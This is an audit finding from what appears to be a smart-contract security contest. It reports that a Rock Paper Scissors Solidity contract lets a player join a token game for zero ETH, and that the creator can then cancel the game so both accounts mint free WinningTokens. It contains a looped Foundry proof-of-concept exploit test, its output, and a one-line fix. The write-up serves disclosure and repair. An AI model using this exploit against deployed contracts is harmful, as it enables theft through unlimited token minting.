Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Malicious users can mint unlimited Winner Tokens.

Summary

Malicious users can create games and cancel them intentionally to mint themselves an unlimited amount of WinningTokens.

Vulnerability Details

Games created with RockPaperScissors::createGameWithToken function allow playerB to join for free by calling the RockPaperScissors::joinGameWithEth with no value. If the creator of the game cancels the game, both players get minted 1 winningToken. To abuse this, a malicious user could:

  1. Create a game using RockPaperScissors::createGameWithToken as account1.

  2. Join game using RockPaperScissors::joinGameWithEth with no value as account2.

  3. Cancel the game using RockPaperScissors::cancelGame as account1.

  4. Both account1 and account2 are minted 1 WinningToken.

Paste the following test into the test suite:

function testCancelGriefingAttackLoop() public {
console2.log("playerA token balance before: ", token.balanceOf(playerA));
console2.log("playerB token balance before: ", token.balanceOf(playerB));
for (uint256 i = 0; i < 50; i++) {
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
// PlayerB joins the game for free using joinGameWithEth exploit.
vm.startPrank(playerB);
game.joinGameWithEth{value: 0}(gameId);
vm.stopPrank();
// PlayerA cancels the game
vm.startPrank(playerA);
game.cancelGame(gameId);
vm.stopPrank();
}
console2.log("playerA token balance after: ", token.balanceOf(playerA));
console2.log("playerB token balance after: ", token.balanceOf(playerB));
}

The output is:

Ran 1 test for test/RockPaperScissorsTest.t.sol:RockPaperScissorsTest
[PASS] testCancelGriefingAttackLoop() (gas: 10477588)
Logs:
playerA token balance before: 10
playerB token balance before: 10
playerA token balance after: 10
playerB token balance after: 60
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.43ms (6.02ms CPU time)
Ran 1 test suite in 67.31ms (15.43ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

A malicious user could mint themselves an unlimited amount of tokens.

Tools Used

Manual review

Recommendations

Require game.bet > 0 when calling RockPaperScissors::joinGameWithEth.

function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
+ require(game.bet > 0, "Bet amount cannot be zero");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game Staking Inconsistency

joinGameWithEth function lacks a check to verify the game was created with ETH

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game Staking Inconsistency

joinGameWithEth function lacks a check to verify the game was created with ETH

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.